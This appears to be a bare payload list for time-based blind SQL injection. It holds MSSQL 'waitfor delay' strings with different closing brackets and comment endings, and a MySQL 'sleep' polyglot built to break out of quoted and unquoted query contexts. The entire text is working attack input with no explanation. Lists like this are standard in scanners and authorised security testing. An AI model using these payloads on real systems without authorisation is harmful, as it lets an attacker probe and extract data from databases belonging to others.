1 waitfor delay '0:0:3' --

-1)); waitfor delay '0:0:9' --

-1); waitfor delay '0:0:9' --

-1; waitfor delay '0:0:9' --

(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/